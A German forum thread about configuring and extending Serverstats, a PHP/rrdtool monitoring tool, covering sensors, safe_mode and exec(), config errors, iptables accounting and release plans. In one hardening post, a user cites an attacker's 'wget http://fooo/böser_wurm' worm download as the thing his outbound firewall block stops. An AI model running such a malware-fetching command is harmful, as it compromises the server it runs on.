Serverstats - Alternative zu cacti, mrtg & Co.

Bash, Shell, PHP, Python, Perl, CGI
ponchofiesta
Posts: 48
Joined: 2005-12-07 12:25
Location: Luckau
Contact:
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ponchofiesta »

Je mehr ich mich mit den Sensors beschäftige, desto schwieriger wird es.
Die Daten die in den Dateien stehen, sind nämlich nicht immer der Wert, den man braucht. Man muss diese Werte noch berechnen und die Formel hierfür variiert von Chip zu Chip. Genauso hat jeder Chip eine eigene Definition davon, welche Komponente hinter dem Sensor sitzt.
Bei Lm_sensors wird das alles in der /etc/sensors.conf geklärt. Es wäre hier also vielleciht doch besser das Programm zu nehmen, ansonsten müsste für jeden Chip ein Extra Eintrag mit den Bindungen und den Formeln in die Klasse eingetragen werden.
ddanier
Posts: 23
Joined: 2005-07-15 19:20
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ddanier »

ponchofiesta wrote:Je mehr ich mich mit den Sensors beschäftige, desto schwieriger wird es.
Die Daten die in den Dateien stehen, sind nämlich nicht immer der Wert, den man braucht. Man muss diese Werte noch berechnen und die Formel hierfür variiert von Chip zu Chip. Genauso hat jeder Chip eine eigene Definition davon, welche Komponente hinter dem Sensor sitzt.
Bei Lm_sensors wird das alles in der /etc/sensors.conf geklärt. Es wäre hier also vielleciht doch besser das Programm zu nehmen, ansonsten müsste für jeden Chip ein Extra Eintrag mit den Bindungen und den Formeln in die Klasse eingetragen werden.
Also bevor du lm_sensors (und damit den Parser für /etc/sensors.conf) nachbaust ruf lieber direkt das Programm auf :)
legato
Posts: 115
Joined: 2004-06-03 12:40
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by legato »

ddanier wrote:
Legato wrote:Also, ich finds toll, dass sich hier richtig was tut. Wäre ein guter Zeitpunkt um ein Forum zu eröffnen.
Mir wäre immernoch eine Mailinglist lieber...aber ich wart noch auf die Antwort von andreask2.
Hm,joa, kann ich mich auch mit anfreunden. Bin aber eher der Forentyp. Müsst ihr entscheiden ;-)
ddanier wrote:
Legato wrote:Daniel, das Forum das du vorgeschlagen hast sah ganz gut aus...
David ;-)
woops... sorry, habe mit zu vielen Daniels zu tun ;-)
ddanier wrote:
Legato wrote:Was übrigens noch toll wäre: Unter Demo sollte auch eine sources.php stehen. Ich bin mir z.B. nicht ganz sicher, wie das für disk aussehen muss...
Hilft dir das weiter:
https://svn.webmasterpro.de/serverstats ... ources.txt
(die sources.php will ich nciht direkt online stellen, da steht auch das MySQL-Passwort drin)
Ja, ich denke damit komme ich weiter. Probiere ich später nochmal...
Aber vielleicht wäre ein kompletter Beispielaufruf gut.
ddanier wrote:
Legato wrote:Was mir noch fehlt, ist ja ein ping Modul oder sowas. Dafür müsste wohl oder übel ein anderes Programm aufgerufen werden...
Was haltet ihir davon?
Nur zu :)
(Kann ja jetzt auch hochgeladen werden)

Ã?brigens hast du eine PN von mir....
Joa... mal sehen ob ich das auf die Reihe kriege.
Auf die PN antworte ich später - so much work, so little time...
ddanier
Posts: 23
Joined: 2005-07-15 19:20
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ddanier »

So, jetzt kann man beim Upload zusätzlich noch eine Lizenz angeben :)
(Ã?brigens kann man seine Source noch im nachinein ändern, wenn man seine Emailadresse angibt. Man bekommt dann eine EMail in der ein Accesskey steht :) )
Legato wrote:Auf die PN antworte ich später - so much work, so little time...
Hast wieder eine :)
(Ich find hier merkt man fast nichts von PNs, deswegen die Erinnerung)
chaosad
Posts: 137
Joined: 2005-05-06 15:48
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by chaosad »

so, hab jetzt ne Möglichkeit gefunden wie ich

Code: Select all

php update.php
auf der console ausführen kann ohne das er z.b. wegen "exec" meckert.

Allerdings wird scheinbar auch um Aufruf der Grafiken "exec" usw. benötigt.
ddanier
Posts: 23
Joined: 2005-07-15 19:20
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ddanier »

chaosad wrote:Allerdings wird scheinbar auch um Aufruf der Grafiken "exec" usw. benötigt.
Ja, das wird benötigt um rrdtool aufzurufen. ;-)

Das Problem mit dem safe_mode und auch den magic_quotes ist, dass hier versucht wird unsichere Scripts im PHP selbst sicher zu machen. Leider hat das zur Folge, dass sauber und sicher geschriebene Scripts entweder Umwege gehen müssen um das gewünschte Ergebnis zu bekommen (erst ein stripslashes(), dannach ein mysql_real_escape_string() bei den magic_quotes) oder es nicht möglich ist.
Im konkreten Fall von exec war das wenn ich mich recht erinner so:
Ist der safe_mode aktiv wird der Befehl durch escapeshellcmd() gejagt, unabhängig davon, ob die Parameter schon sauber (beispielsweise mit escapeshellarg()) escaped wurden. Wenn man sich aber selbst drum kümmert wird der Aufruf doppelt escaped, was natürlich zu Fehlern führt. Wenn man nun einfach das escapeshellarg() weglässt greift nur escapeshellcmd(), dem es aus technischen Gründen nicht möglich ist so gut zu escapen wie scapeshellarg(). Da das Fehler verursacht (Zusammengehörige Parameter werden nicht erkannt....wie auch?) und das Script sonst sowieso mit einem Blick auf Sicherheit programmiert wurde gibt es keinen Support für den safe_mode.
Auch ein Grund dafür das nicht zu beachten ist, dass es mit PHP6 wohl (endlich) aus PHP verschwinden wird. Das gilt für den safe_mode und auch magic_quotes, siehe:
http://www.webmasterpro.de/content_news-8699.php

So, da ich jetzt ne Weile um den heißen Brei herumgeredet hab was zu exec():
Das Verbot von ganzen Funktionen halte ich eigentlich für keine brauchbare Lösung. Hier wird davon ausgegangen, dass eine bestehende Applikation unsicher ist und ihr deswegen der Zugriff auf einige systemkritische Funktionen verboten...anstatt die Applikation selbst sicher zu machen. Ich halte das für den falschen Ansatz.
Was allerdings eine gute Lösung wäre ist die Beschränkung der ausführbaren Programme auf ein Minimum. Leider ist das in PHP nur mit dem oben verteufelten safe_mode möglich (safe_mode_exec_dir)...also keine brauchbase Lösung bisher.
Einzige Möglichkeit wäre also noch das direkt im Kernel oder Dateisystem zu lösen, was sehr aufwändig wäre. Allerdings halte ich das für eine weitaus sauberere Lösung.

Ich selbst hab als letzten Schutz auf dem Webserver übrigens dem Apachen einfach den Zugriff nach außen verboten. Ein "wget http://fooo/böser_wurm" bekommt so nur ein REJECT, wodurch der Angriff auch abgewehrt ist. Allerdings sind alle diese Methoden natürlich nur ein Flickwerk, eigentlich sollten die Applikationen sicher geschrieben werden.
andreask2 wrote:Hab noch eine (vielleicht etwas seltener benötigte) neue Source gebastelt - APC (php opcode cache)
Hab die auch mal auf der Homepage eingetragen ;-)
chaosad
Posts: 137
Joined: 2005-05-06 15:48
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by chaosad »

hmm bin leider nicht soo fit darin, aber wäre es denn nicht auch möglich, das rrdtool auch von der bash aus aufzurufen?
Somit könnte man die Grafiken statisch verlinken und von aussen müsste man nichts freischalten.

Du hast natürlich schon Recht, das man die Applikation selbst sicher machen sollte. Aber wenn natürlich andere auch noch Skripte usw. hochladen können ist es mir doch lieber wenn exec usw. einfach nicht erlaubt sind.
andreask2
Posts: 696
Joined: 2004-01-27 14:16
Location: Aachen
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by andreask2 »

chaosad wrote:hmm bin leider nicht soo fit darin, aber wäre es denn nicht auch möglich, das rrdtool auch von der bash aus aufzurufen?
Somit könnte man die Grafiken statisch verlinken und von aussen müsste man nichts freischalten.
Der update.php cronjob könnte nach dem Aktualisieren der rrd Files noch die Grafiken generieren und speichern. Dann wird halt nur ne ganze Menge Performance verbraten, bei der Demo wären das also 22 Graphen mit jeweils 5 verschiedenen Zeitabstufungen, die dann jedes mal erzeugt werden müssen. In der Praxix guckt man sich am Ende vermutlich deutlich weniger als 1% der erzeugten Graphen tatsächlich an. Aber gut, man könnte sowas einbauen, wenns jemandem hilft, aber es sollte IMHO optional sein.
chaosad wrote:Du hast natürlich schon Recht, das man die Applikation selbst sicher machen sollte. Aber wenn natürlich andere auch noch Skripte usw. hochladen können ist es mir doch lieber wenn exec usw. einfach nicht erlaubt sind.
Wenn Du suphp oder suexec verwendest, sehe ich hier eigentlich kein Risiko. Und bei mod_php kannst Du den safe_mode AFAIK auch in der Apache config ein- und ausschalten, vermutlich auch für bestimmte Verzeichnisse: http://de3.php.net/manual/en/configuration.changes.php

Und wie David schon sagte, den safe_mode wird es so lange nicht mehr geben!
dorijan
Posts: 13
Joined: 2003-04-28 04:32
Contact:
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by dorijan »

ist es evtl auch möglich über das lan einen weiteren server abzufragen auch wenn auf der anderen maschine kein apache o.ä rennt. ?

z.B. Load auf der Maschine ?

mit php5.5.1 erhalte ich noch einige komische fehlermeldungen z.B. :

Code: Select all

<b>Warning</b>:  Missing argument 1 for disk::__construct(), called in /home/xxxxxx/websites/xxxxxx/config/sources.php on line 3                                  3 and defined in <b>/home/xxxxxx/websites/xxxxxxxx/sources/disk.php</b> on line <b>38</b><br />
PHP Notice:  Undefined variable: disk in /home/xxxxxx/websites/xxxxxxx/sources/disk.php on line 41
<br />
<b>Notice</b>:  Undefined variable: disk in <b>/home/xxxxxxx/websites/xxxxxxx/sources/disk.php</b> on line <b>41</b><br />


bzw

Code: Select all

php update.php
PHP Warning:  Missing argument 1 for traffic::__construct(), called in /home/xxxxxxxx/websites/xxxxxxx/config/sources.php on line 3                                  3 and defined in /home/xxxxxxx/websites/xxxxxx/sources/traffic.php on line 34
X-Powered-By: PHP/5.1.1
Content-type: text/html

<br />
<b>Warning</b>:  Missing argument 1 for traffic::__construct(), called in /home/xxxxxx/websites/xxxxxxxx/config/sources.php on lin                                  e 33 and defined in <b>/home/xxxxxxx/websites/xxxxxxxx/sources/traffic.php</b> on line <b>34</b><br />
PHP Notice:  Undefined variable: chain in /home/xxxxxxx/websites/xxxxxxx/sources/traffic.php on line 41
<br />
<b>Notice</b>:  Undefined variable: chain in <b>/home/xxxxxx/websites/xxxxxxx/sources/traffic.php</b> on line <b>41</b><br />
andreask2
Posts: 696
Joined: 2004-01-27 14:16
Location: Aachen
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by andreask2 »

dorijan wrote:ist es evtl. auch möglich über das LAN einen weiteren Server abzufragen auch wenn auf der anderen Maschine kein Apache o.ä rennt?
Es ist zwar (AFAIK) bisher nicht vorgesehen, aber vermutlich könntest Du einfach PHP und serverstats auf der entsprechenden Maschine installieren, und "wie immer" per update.php cronjob Daten sammeln, also rrd Dateien schreiben lassen. Diese Dateien könntest Du dann regelmäßig, per cronjob oder wie auch immer auf den Server mit Apache-Installation übertragen (RSYNC oder FTP, WebDav, NFS...), und dort eine entsprechende config/graph.php verwenden, die entsprechende Graphen erzeugt. Aber dazu kann ddanier sicherlich mehr sagen... ich weiß z.B. nicht ob man den Cache auch übertragen müsste (vermutlich nicht, oder?).

Sonst kann man natürlich auch eine SNMP Source schreiben, eine entsprechende SNMP Extension gibt es für PHP. Dann könnte man die Daten per SNMP über das Netzwerk abrufen. Eine SNMP Source fänd ich gar nicht schlecht, würde ich zwar vermutlich nicht verwenden, aber gerade für den hier beschriebenen Einsatzzweck ist es sicher nützlich.
dorijan wrote:mit PHP 5.5.1 erhalte ich noch einige komische Fehlermeldungen z.B. :

Code: Select all

<b>Warning</b>:  Missing argument 1 for disk::__construct() [...]
das sieht für mich nach Konfigurations-Fehlern aus. Es gibt zwei Anleitungen, die man bei einer "erweiterten Installation" (also alles was über `cp -r config.samle config` hinausgeht) lesen sollte:

1. doc/graph-config.txt
Hier wird beschrieben, was man alles benötigt um einen Graphen anzuzeigen

2. doc/sources.txt
Hier findet man für jede Source von serverstats die notwendigen Informationen, um diese nutzen zu können. Vor allem aber werden hier die Parameter beschrieben, die in config/sources.php ggfs. übergeben werden müssen.

Mal kurz ein Beispiel für sources/disk.php:

In der doc/sources.txt steht hierzu:

Code: Select all

===============================================================================
 2. disk
===============================================================================

Reads the disk-statistics from /proc/diskstats (kernel 2.6) and saves the
read/written bytes. Optional all Partitions can be logged, too.

Parameters:
$disk: Name of disk that should be monitored (example: 'hda')
        Format: String
$withpartitions: Decide wether you want to log the partitions
        Format: boolean
        Default: false
$sector_size: Size of the Sectors of your disk
        Format: integer
        Default: 512
$path_stat: Filename to the needed /proc/-file
        Format: String
        Default: '/proc/diskstats'

Datasources:
        read: Bytes read
        write: Bytes written
        readps: Bytes read per second
        writeps: Bytes written per second
        partX_read, partX_write, partX_readps, partX_writeps:
                Same for partitions
Die Parameter beziehen sich auf den (für jede Source notwendigen) Eintrag in der config/sources.php, also z.B.:

Code: Select all

$config['disk']['module'] = new disk('hda');
in diesem Fall ist der erste Parameter notwendig, die anderen werden mit default Werten vorbelegt. Wenn solche Angaben nicht aus den docs hervorgehen, kann man natürlich auch einfach im Source nachsehen, in diesem Fall benötigt man die __construct Zeile in sources/disk.php:

Code: Select all

public function __construct($disk, $withpartitions = false, $sector_size = 512, $path_stat = '/proc/diskstats')
Jeder Parameter mit "= IRGENDWAS" hat dieses "IRGENDWAS" als default-Wert, auf den kann also verzichtet werden, wenn der default Wert OK ist. "$disk" hat sowas nicht, es muss also in config/sources.php angegeben werden.

"Datasources" bezieht sich auf die entsprechend verfügbaren Datenquellen für die config/graph.php ('ds').
dorijan wrote:

Code: Select all

php update.php
PHP Warning:  Missing argument 1 for traffic::__construct()[...]
hier fehlt vermutlich ebenfalls ein Parameter.
andreask2
Posts: 696
Joined: 2004-01-27 14:16
Location: Aachen
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by andreask2 »

btw.: ein paar wie ich finde nette Graphen(rrd) gibt es auch hier:

http://vvv.koehntopp.de/rrd/

Ganz unten sieht man auch den Quellcode!
andreask2
Posts: 696
Joined: 2004-01-27 14:16
Location: Aachen
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by andreask2 »

ddanier wrote:
andreask2 wrote:traffic_proc funktioniert übrigens auch beim 2.4er Kernel (2.4.32).
Schön.

Todo:
Das in die Doku aufnehmen :)
[x] done!

(und noch ein paar andere Updates in doc/ und INSTALL!)

PS: Wie wärs mal mit nem 0.8er Release, oder gibt es noch was anderes, was vorher noch erledigt werden müsste?

Hm, vielleicht noch 1 oder 2 weitere nette Sourcen, evtl. ping? Was wäre in Euren Augen noch wichtig?

Guck Dir mal an was ich an den Dokus geändert habe, ob das alles OK ist.
ddanier
Posts: 23
Joined: 2005-07-15 19:20
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ddanier »

andreask2 wrote:
ddanier wrote:
andreask2 wrote:traffic_proc funktioniert übrigens auch beim 2.4er Kernel (2.4.32).
Schön.

Todo:
Das in die Doku aufnehmen :)
[x] done!

(und noch ein paar andere Updates in doc/ und INSTALL!)
Danke!
Hab mich grad schon gewundert, wo die vielen Emails auf serverstats-devel herkommen.
(SVN ist so eingestellt, dass man da bei jedem Commit eine Email bekommt, ziemlich praktisch....achja, wegen Mailinglists: http://developer.berlios.de/mail/?group_id=5571)
andreask2 wrote:Guck Dir mal an was ich an den Dokus geändert habe, ob das alles OK ist.
Hab das Diff durchgesehen, sah gut aus. ;-)
andreask2 wrote:PS: Wie wärs mal mit nem 0.8er Release, oder gibt es noch was anderes, was vorher noch erledigt werden müsste?

Hm, vielleicht noch 1 oder 2 weitere nette Sourcen, evtl. ping? Was wäre in Euren Augen noch wichtig?
An eine ping-Source hatte ich auch gedacht. Hab auch gestern schonmal versucht das ohne externes Kommando zu lösen (also den Ping direkt mit PHP loszuschicken), leider braucht man dafür root-Rechte (ping hat das SUID-Bit gesetzt). Ich denke derzeit über 2 ping-Sourcen nach:
1. Ruft ping auf und wertet das Ergebnis aus (normaler Ping)
2. Baut Verbindung zu einem Server auf einem Port auf und misst die benötigte Zeit (Ping auf einen Serverdienst)
andreask2 wrote:btw.: ein paar wie ich finde nette Graphen(rrd) gibt es auch hier:

http://vvv.koehntopp.de/rrd/
Die Sourcen sind leider alle sehr speziell, bis auf den Ping kann man da denke ich nciht viel wirklich übernehmen...außer man baut etwas für den allgemeinen Fall (beispielsweise ein Script, dass Zeilen mit einem bestimmten Muster in einer Logdatei sucht und auswertet).

Aufnehmen könne man sie aber trotzdem als Perl-Scripte im external-Bereich (wie die cacti-Scripts). Dazu müsste man statt der Ansteuerung vom rrdtool nur eine nette Ausgabe basteln, die ausgewertet werden kann.
(Unter den Cacti-Sourcen ist sogar schon eine ping-Source :D )
ponchofiesta
Posts: 48
Joined: 2005-12-07 12:25
Location: Luckau
Contact:
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ponchofiesta »

Heißen eigentlich Fastplatten unter Unix/Linux immer /dev/XXX oder kann das auch variieren?
dorijan
Posts: 13
Joined: 2003-04-28 04:32
Contact:
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by dorijan »

@andreask2

danke für die hilfe, platten laufen nun jedoch hab ich noch probleme beim iptables accounting.

irgendwie will er mir die ergebnisse der regeln nicht zusammenfassen.

die regeln sind soweit sauber eingetragen (alle anderen regeln hab ich der übersicht halber mal ausgetragen)

Code: Select all

Chain INPUT (policy DENY 13G packets, 15T bytes)
 pkts bytes target     prot opt in     out     source               destination
 5745 1254K WWW        tcp  --  any    any     anywhere             anywhere            tcp dpt:www
    0     0 WWW        tcp  --  any    any     anywhere             anywhere            tcp dpt:https

Chain FORWARD (policy DENY 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy DENY 8465M packets, 2099G bytes)
 pkts bytes target     prot opt in     out     source               destination
 5328 4742K WWW        tcp  --  any    any     anywhere             anywhere            tcp spt:www
    0     0 WWW        tcp  --  any    any     anywhere             anywhere            tcp spt:https

Chain WWW (4 references)
 pkts bytes target     prot opt in     out     source               destination
er hat im WWW Chain nur eine Referenz zeigt aber keine Bytes etc an.
OS ist Debian Sarge

d.h. im tmpfile kommt alles sauber an bis auf :

Code: Select all

cat tmpfile
Chain WWW (4 references)
    pkts      bytes target     prot opt in     out     source               destination

cat WWW
bytes




Hab ich irgend nen denkfehler ? ansonsten mach ich mich mal dran das traffic.sh soweit umzuschreiben das es jeden einzelnen eintrag sauber ausliest in ein extra file.

Danke

Grüsse

Christian
ddanier
Posts: 23
Joined: 2005-07-15 19:20
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ddanier »

dorijan wrote:

Code: Select all

[...]

Chain WWW (4 references)
 pkts bytes target     prot opt in     out     source               destination
Mehr nicht? Da gehört eigentlich noch eine Regel rein, was dann in der Chain WWW passieren soll. Also beispielsweise:

Code: Select all

iptables -A WWW -j ACCEPT
ddanier
Posts: 23
Joined: 2005-07-15 19:20
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ddanier »

ponchofiesta wrote:Heißen eigentlich Fastplatten unter Unix/Linux immer /dev/XXX oder kann das auch variieren?
Ich wüsste nicht wieso das woanders liegen sollte... ;-)
(Also, es liegt immer unter /dev/, allerdings kann man z.B. wenn man LVM einsetzt ein Unterverzeichnis dabei haben: /dev/mapper/XXX)
dorijan
Posts: 13
Joined: 2003-04-28 04:32
Contact:
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by dorijan »

wenn ich die regeln z.B. aus INPUT werfe und versuche im WWW chain eintragen will dann bekomme ich nur eine fehlermeldung "too many links"
ponchofiesta
Posts: 48
Joined: 2005-12-07 12:25
Location: Luckau
Contact:
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ponchofiesta »

ddanier wrote:
ponchofiesta wrote:Heißen eigentlich Fastplatten unter Unix/Linux immer /dev/XXX oder kann das auch variieren?
Ich wüsste nicht wieso das woanders liegen sollte... ;-)
(Also, es liegt immer unter /dev/, allerdings kann man z.B. wenn man LVM einsetzt ein Unterverzeichnis dabei haben: /dev/mapper/XXX)
Mir gings ja nur um die physikalisch vorhandenen Geräte. Ich hab mich nämlich gefragt, wieso man bei hddtemp unbedingt den vollen Pfad angeben muss (z.B. hddtemp /dev/hda). Wenn es immer /dev/XXX ist, würde ja der hintere Teil ausreichen.
andreask2
Posts: 696
Joined: 2004-01-27 14:16
Location: Aachen
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by andreask2 »

Da dieser Thread so langsam zum "offiziellen Serverstats Support Forum" zu werden scheint, möchte ich an dieser Stelle nochmal auf die frisch eingerichtete Projekt-Seite und die Mailinglisten hinweisen ;-)

Ich habe mein Ausgangs-Posting auch mal entsprechend an "die neue Situation" angepasst, und dort nochmal alles zusammengefasst: http://www.rootforum.org/forum/viewtopi ... 868#227868
ddanier
Posts: 23
Joined: 2005-07-15 19:20
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by ddanier »

ponchofiesta wrote:Je mehr ich mich mit den Sensors beschäftige, desto schwieriger wird es.
Wie steht es denn damit? Wäre an so einer Source stark interessiert, solange aber jemand anderes schon mit der Arbeit begonnen hat fang ich nicht an selbst etwas zu schreiben. ;-)

Ã?brigens ist Serverstats 0.8 released... :)
umbroboy
Posts: 258
Joined: 2005-05-11 11:49
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by umbroboy »

Hallo,

läuft serverstats jetzt einwandfrei?

Habe gesehen, dass dies php5 erfordert.

Gibt es auch eine alternative zu diesem script was noch mit Php4 laufen könnte?

Viele Grüße
umbroboy
legato
Posts: 115
Joined: 2004-06-03 12:40
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by legato »

Serverstats läuft schon lange einwandfrei ;-)

Alternativen für PHP4? Naja, cacti, hausgemachtes, ...

Vielleicht ist hier was dabei:
http://people.ee.ethz.ch/~oetiker/webto ... /rrdworld/
http://www.linuxlinks.com/Software/Monitoring/Network/
me_2
Posts: 33
Joined: 2006-03-05 11:29
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by me_2 »

Hallo,

Bei mir läuft Serverstats in der default-config.
habe mich dann auch vorallem auf dei Docs von http://serverstats.berlios.de/ gestützt.

Habe damit zuerst die sources.php geändert:
Ich habe dort ersteinmal die ganzen config-Bereiche aus der Kommentierung befreit und folgendes hinzugefügt:

Code: Select all

$config['traffic_proc']['module'] = new traffic_proc('tun0');
$config['traffic_proc']['rra'] = 'default';
$config['disk']['module'] = new disk('sda');
$config['disk']['rra'] = 'default';
Und als 2. Schritt an die graph.php folgendes angehangen:

Code: Select all

$config['list'][] = array(
	'title' => 'Traffic (tun0)',
	'lowerLimit' => 0,
	'altAutoscaleMax' => true,
	'content' => array(
		array(
			'type' => 'LINE',
			'source' => 'traffic_proc',
			'ds' => 'tun0_rbytes',
			'cf' => 'AVERAGE',
			'legend' => 'Download Bytes/s',
			'width' => 1,
			'color' => '0002A3'
		),
	)
);
$config['list'][] = array(
	'title' => 'Festplattennutzung',
	'lowerLimit' => 0,
	'altAutoscaleMax' => true,
	'content' => array(
		array(
			'type' => 'LINE',
			'source' => 'disk',
			'ds' => 'read',
			'cf' => 'AVERAGE',
			'legend' => 'TEST - LEGENDE',
			'width' => 1,
			'color' => '0002A3'
		),
	)
);
Leider sehe ich aber keine von den beiden Graphen, wenn die die Seite aufrufe...

Im Ordner rrd befindet sich nun zusätzlich

Code: Select all

disk.rrd
traffic_proc_eth0.rrd
und traffic_proc.rrd
MfG
me_2
Posts: 33
Joined: 2006-03-05 11:29
 

Re: Serverstats - Alternative zu cacti, mrtg & Co.

Post by me_2 »

Es funktioniert nun, ist mir nur eine Klammer entgangen.

Es ist jetzt 10:43 Uhr, aber die Grafiken zeigen die aktuellen Daten bei kurz vor 08:45 Uhr...

hwclock / date zeigt die korrekte Zeit.

Weiß nicht mehr weiter...

mfg
Post Reply